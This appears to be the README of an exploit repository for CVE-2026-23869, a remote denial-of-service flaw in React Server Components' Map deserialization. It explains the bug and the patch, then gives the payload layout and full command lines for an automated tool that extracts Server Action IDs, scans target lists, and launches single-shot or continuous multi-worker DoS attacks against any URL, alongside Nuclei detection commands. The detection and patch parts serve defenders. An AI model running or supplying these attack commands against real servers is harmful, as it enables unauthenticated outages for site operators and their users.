
Automated exploit tool for CVE-2026-23869, a remote DoS in React Server Components. Includes PoC, Nuclei template, and scanning scripts for detection and exploitation.
Unauthenticated Remote Denial-of-Service via React Flight Protocol
Quadratic CPU Exhaustion in Server Components Map Deserialization
Overview • How It Works • Tools • Install • Usage • Nuclei • Fix • Disclaimer
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-23869 |
| Alias | React2DoS |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| Type | Unauthenticated Remote Denial of Service |
| Discovered By | Yohann Sillam (Imperva Threat Research) |
| Affected | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Patched | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
A critical Denial-of-Service vulnerability exists in React Server Components' Flight protocol deserialization. An unauthenticated attacker can send a single crafted HTTP request to any Next.js App Router Server Action endpoint, causing quadratic O(n²) CPU exhaustion that locks the server for minutes.
consumed Flag in Map DeserializationReact Flight protocol uses special markers to serialize data types. $Q represents a Map object. When the server receives a payload containing self-referencing $Q0 markers:
Payload: [ [1,1], [1,1], ...(n valid entries)..., "$Q0", "$Q0", ...(n refs)... ]
Each $Q0 triggers a new Map() constructor that iterates over all n valid entries. The Map constructor throws an error (because the entries are malformed), but the critical bug is: the consumed flag is never set on failure.
This means the next $Q0 recomputes the exact same Map from scratch → creating O(n²) complexity:
n valid entries × n $Q0 references = n² Map constructor calls
Example: 65,000 × 65,000 = 4,225,000,000 operations
Result: Single request locks CPU for 5-10+ minutes
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Attacker │ ──────────────────────────────────────▶ │ Next.js Server │
│ │ Header: Next-Action: <action_id> │ │
│ │ Body: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% LOCKED │
└──────────┘ │ for ~5-10 min │
└──────────────────┘
// ReactFlightReplyServer.js — BEFORE patch
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Fails but doesn't set consumed = true
// Next $Q0 recomputes from scratch
}
// ReactFlightReplyServer.js — AFTER patch (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Fix: set flag BEFORE construction
return new Map(data); // Prevents repeated recomputation
}
| File | Description |
|---|---|
poc.py | Full-auto exploit tool with 4-phase pipeline (Recon → Extract → Detect → Exploit) |
CVE-2026-23869.yaml | Nuclei detection template with flow-based orchestration |
scan.sh | Wrapper script: httpx live filtering + nuclei scanning |
extract-action-ids.sh | Standalone Server Action ID extractor |
# Clone the repository
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Install Python dependency
pip install requests
# Make scripts executable
chmod +x poc.py scan.sh extract-action-ids.sh
# For Nuclei template scanning
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# For live target filtering
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Just give the URL — the tool does everything automatically:
python3 poc.py -u https://target.com
What happens:
# Scan a list of domains/IPs
python3 poc.py -L targets.txt
# With JSON report output
python3 poc.py -L targets.txt -o results.json
# Safe detection only
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Single-shot exploit
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# Continuous DoS (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL Target URL (single target)
-L, --list FILE File with target URLs/IPs (one per line)
-a, --action-id ID Server Action ID (skip auto-extraction)
--detect Detection only — safe, non-destructive (default)
--single Single-shot exploit after detection
--exploit Continuous DoS after detection
--extract Only extract action IDs
-l, --length N Payload entries (default: 130000)
-w, --workers N Concurrent workers (default: 5)
-d, --delay SEC Delay between requests (default: 1.0)
-o, --output FILE Save JSON report
-t, --threads N Concurrent targets for list scan (default: 3)
The original PoC syntax still works:
python3 poc.py <ACTION_ID> <URL>
# Single target
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Multiple targets
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Clean output (only vulnerable results)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Note: The
-itags dosflag is required because Nuclei excludes DoS templates by default for safety.